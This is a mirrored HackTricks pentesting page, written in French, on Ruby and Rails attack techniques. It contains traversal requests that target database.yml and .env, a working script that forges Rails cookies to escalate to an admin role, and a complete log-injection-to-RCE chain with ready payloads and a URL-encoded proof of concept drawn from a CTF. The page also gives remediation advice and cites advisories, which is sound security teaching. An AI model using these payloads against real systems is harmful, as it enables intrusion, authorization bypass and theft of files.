mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
175 lines
10 KiB
Markdown
175 lines
10 KiB
Markdown
# Astuces Ruby
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## File upload to RCE
|
|
|
|
Comme expliqué dans [this article](https://www.offsec.com/blog/cve-2024-46986/), uploader un fichier `.rb` dans des répertoires sensibles tels que `config/initializers/` peut conduire à une exécution de code à distance (RCE) dans des applications Ruby on Rails.
|
|
|
|
Conseils :
|
|
- D'autres emplacements exécutés au démarrage (boot/eager-load) sont aussi risqués s'ils sont inscriptibles (par ex., `config/initializers/` est le classique). Si vous trouvez un upload de fichier arbitraire qui atterrit n'importe où sous `config/` et est ensuite évalué/require, vous pouvez obtenir du RCE au démarrage.
|
|
- Cherchez des dev/staging builds qui copient des fichiers contrôlés par l'utilisateur dans l'image du conteneur où Rails les chargera au démarrage.
|
|
|
|
## Active Storage image transformation → command execution (CVE-2025-24293)
|
|
|
|
Quand une application utilise Active Storage avec `image_processing` + `mini_magick`, et passe des paramètres non fiables aux méthodes de transformation d'images, les versions de Rails antérieures à 7.1.5.2 / 7.2.2.2 / 8.0.2.1 pouvaient permettre une injection de commande parce que certaines méthodes de transformation étaient par erreur autorisées par défaut.
|
|
|
|
- Un pattern vulnérable ressemble à :
|
|
```erb
|
|
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
|
```
|
|
où `params[:t]` et/ou `params[:v]` sont contrôlés par l'attaquant.
|
|
|
|
- Que tester pendant l'évaluation
|
|
- Identifiez les endpoints qui acceptent des options de variant/processing, des noms de transformation, ou des arguments arbitraires pour ImageMagick.
|
|
- Fuzz `params[:t]` et `params[:v]` pour détecter des erreurs suspectes ou des effets secondaires d'exécution. Si vous pouvez influencer le nom de la méthode ou passer des arguments bruts qui atteignent MiniMagick, vous pouvez obtenir de l'exécution de code sur l'hôte qui traite les images.
|
|
- Si vous n'avez qu'un accès en lecture aux variants générés, tentez une exfiltration aveugle via des opérations ImageMagick spécialement conçues.
|
|
|
|
- Remédiation/détections
|
|
- Si vous voyez Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 avec Active Storage + `image_processing` + `mini_magick` et des transformations contrôlées par l'utilisateur, considérez-le comme exploitable. Recommandez une mise à jour et l'application de allowlists strictes pour les méthodes/params ainsi qu'une politique ImageMagick durcie.
|
|
|
|
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
|
|
|
Si la stack cible utilise le middleware Rack directement ou via des frameworks, les versions de `rack` antérieures à 2.2.13, 3.0.14 et 3.1.12 permettent une inclusion locale de fichiers (LFI) via `Rack::Static` lorsque `:root` n'est pas défini/mal configuré. Des traversées encodées dans `PATH_INFO` peuvent exposer des fichiers sous le répertoire de travail du processus ou un root inattendu.
|
|
|
|
- Cherchez des apps qui montent `Rack::Static` dans `config.ru` ou dans les stacks de middleware. Essayez des traversées encodées contre des chemins statiques, par exemple :
|
|
```text
|
|
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
|
GET /favicon.ico/..%2f..%2f.env
|
|
```
|
|
Ajustez le préfixe pour correspondre aux `urls:` configurés. Si l'application répond avec le contenu du fichier, vous avez probablement LFI vers n'importe quoi sous le `:root` résolu.
|
|
|
|
- Mitigation : mettez à jour Rack ; assurez-vous que `:root` pointe uniquement vers un répertoire de fichiers publics et est défini explicitement.
|
|
|
|
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
|
|
|
Rails chiffre et signe les cookies en utilisant des clés dérivées de `secret_key_base`. Si cette valeur est leakée (par ex., dans un repo, des logs, ou des credentials mal configurés), vous pouvez généralement décrypter, modifier et re-chiffrer les cookies. Cela conduit souvent à un contournement d'autorisation si l'app stocke des rôles, des user IDs, ou des feature flags dans les cookies.
|
|
|
|
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
|
|
```ruby
|
|
require 'cgi'
|
|
require 'json'
|
|
require 'active_support'
|
|
require 'active_support/message_encryptor'
|
|
require 'active_support/key_generator'
|
|
|
|
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
|
|
raw_cookie = CGI.unescape(ARGV[0])
|
|
|
|
salt = 'authenticated encrypted cookie'
|
|
cipher = 'aes-256-gcm'
|
|
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
|
|
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
|
|
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
|
|
|
|
plain = enc.decrypt_and_verify(raw_cookie)
|
|
puts "Decrypted: #{plain.inspect}"
|
|
|
|
# Modify and re-encrypt (example: escalate role)
|
|
plain['role'] = 'admin' if plain.is_a?(Hash)
|
|
forged = enc.encrypt_and_sign(plain)
|
|
puts "Forged cookie: #{CGI.escape(forged)}"
|
|
```
|
|
Notes:
|
|
- Les applications plus anciennes peuvent utiliser AES-256-CBC et des salts `encrypted cookie` / `signed encrypted cookie`, ou des serializers JSON/Marshal. Ajustez les salts, le cipher, et le serializer en conséquence.
|
|
- En cas de compromission/pendant l'évaluation, faites tourner `secret_key_base` pour invalider tous les cookies existants.
|
|
|
|
## Voir aussi (vulnérabilités spécifiques à Ruby/Rails)
|
|
|
|
- Ruby deserialization and class pollution:
|
|
{{#ref}}
|
|
../../pentesting-web/deserialization/README.md
|
|
{{#endref}}
|
|
{{#ref}}
|
|
../../pentesting-web/deserialization/ruby-class-pollution.md
|
|
{{#endref}}
|
|
{{#ref}}
|
|
../../pentesting-web/deserialization/ruby-_json-pollution.md
|
|
{{#endref}}
|
|
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
|
|
{{#ref}}
|
|
../../pentesting-web/ssti-server-side-template-injection/README.md
|
|
{{#endref}}
|
|
|
|
|
|
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
|
|
|
|
Quand une app (souvent un simple endpoint Rack/Sinatra/Rails) :
|
|
- enregistre une chaîne contrôlée par l'utilisateur telle quelle, et
|
|
- puis `load` un fichier dont le chemin est dérivé de cette même chaîne (après `Pathname#cleanpath`),
|
|
|
|
Vous pouvez souvent obtenir une exécution de code à distance (RCE) en empoisonnant le log puis en contraignant l'app à `load` le fichier de log. Primitives clés :
|
|
|
|
- Ruby `load` évalue le contenu du fichier cible comme du Ruby, quelle que soit l'extension. Tout fichier texte lisible dont le contenu parse comme du Ruby sera exécuté.
|
|
- `Pathname#cleanpath` aplatit les segments `.` et `..` sans interroger le système de fichiers, permettant le path smuggling : des données contrôlées par l'attaquant peuvent être préfixées pour le logging tandis que le chemin nettoyé pointe toujours vers le fichier visé à exécuter (par ex. `../logs/error.log`).
|
|
|
|
### Modèle vulnérable minimal
|
|
```ruby
|
|
require 'logger'
|
|
require 'pathname'
|
|
|
|
logger = Logger.new('logs/error.log')
|
|
param = CGI.unescape(params[:script])
|
|
path_obj = Pathname.new(param)
|
|
|
|
logger.info("Running backup script #{param}") # Raw log of user input
|
|
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
|
```
|
|
### Pourquoi le log peut contenir du Ruby valide
|
|
`Logger` écrit des lignes de préfixe comme:
|
|
```
|
|
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
|
```
|
|
En Ruby, `#` commence un commentaire et `9/2/2025` n'est que de l'arithmétique. Pour injecter du code Ruby valide, vous devez :
|
|
- Commencez votre payload sur une nouvelle ligne pour qu'il ne soit pas commenté par le `#` dans la ligne INFO ; envoyez un retour à la ligne initial (`\n` ou `%0A`).
|
|
- Fermez le `[` en suspens introduit par la ligne INFO. Une astuce courante est de commencer par `]` et, optionnellement, de satisfaire le parseur avec `][0]=1`.
|
|
- Placez ensuite du Ruby arbitraire (par ex., `system(...)`).
|
|
|
|
Exemple de ce qui apparaîtra dans le log après une requête avec un paramètre spécialement conçu :
|
|
```
|
|
I, [9/2/2025 #209384] INFO -- : Running backup script
|
|
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
|
```
|
|
### Smuggling d'une seule chaîne qui à la fois logs du code et se résout vers le chemin du log
|
|
Nous voulons une seule chaîne contrôlée par l'attaquant qui :
|
|
- lorsqu'elle est loggée brute, contient notre Ruby payload, et
|
|
- lorsqu'on la passe à `Pathname.new(<input>).cleanpath`, se résout en `../logs/error.log` de sorte que le `load` suivant exécute le fichier de log récemment empoisonné.
|
|
|
|
`Pathname#cleanpath` ignore les schemes et résout les composants de traversal, donc ce qui suit fonctionne :
|
|
```ruby
|
|
require 'pathname'
|
|
|
|
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
|
puts p.cleanpath # => ../logs/error.log
|
|
```
|
|
- Le `#` avant `://` fait en sorte que Ruby ignore la fin quand le log est exécuté, tandis que `cleanpath` réduit toujours le suffixe en `../logs/error.log`.
|
|
- Le saut de ligne initial sort de la ligne INFO ; `]` ferme la parenthèse pendante ; `][0]=1` satisfait le parseur.
|
|
|
|
### Exploitation de bout en bout
|
|
1. Envoyez la chaîne suivante comme nom du script de sauvegarde (URL-encode the first newline as `%0A` if needed):
|
|
```
|
|
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
|
```
|
|
2. L'app enregistre votre chaîne brute dans `logs/error.log`.
|
|
3. L'application calcule `cleanpath` qui se résout en `../logs/error.log` et appelle `load` dessus.
|
|
4. Ruby exécute le code que vous avez injecté dans le log.
|
|
|
|
Pour exfiltrer un fichier dans un environnement de type CTF :
|
|
```
|
|
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
|
```
|
|
URL-encoded PoC (le premier caractère est un saut de ligne):
|
|
```
|
|
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
|
```
|
|
## Références
|
|
|
|
- Annonce de sécurité Rails : CVE-2025-24293 Active Storage méthodes de transformation non sécurisées (corrigé dans 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
|
- Avis GitHub : Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
|
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
|
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
|
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
|
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|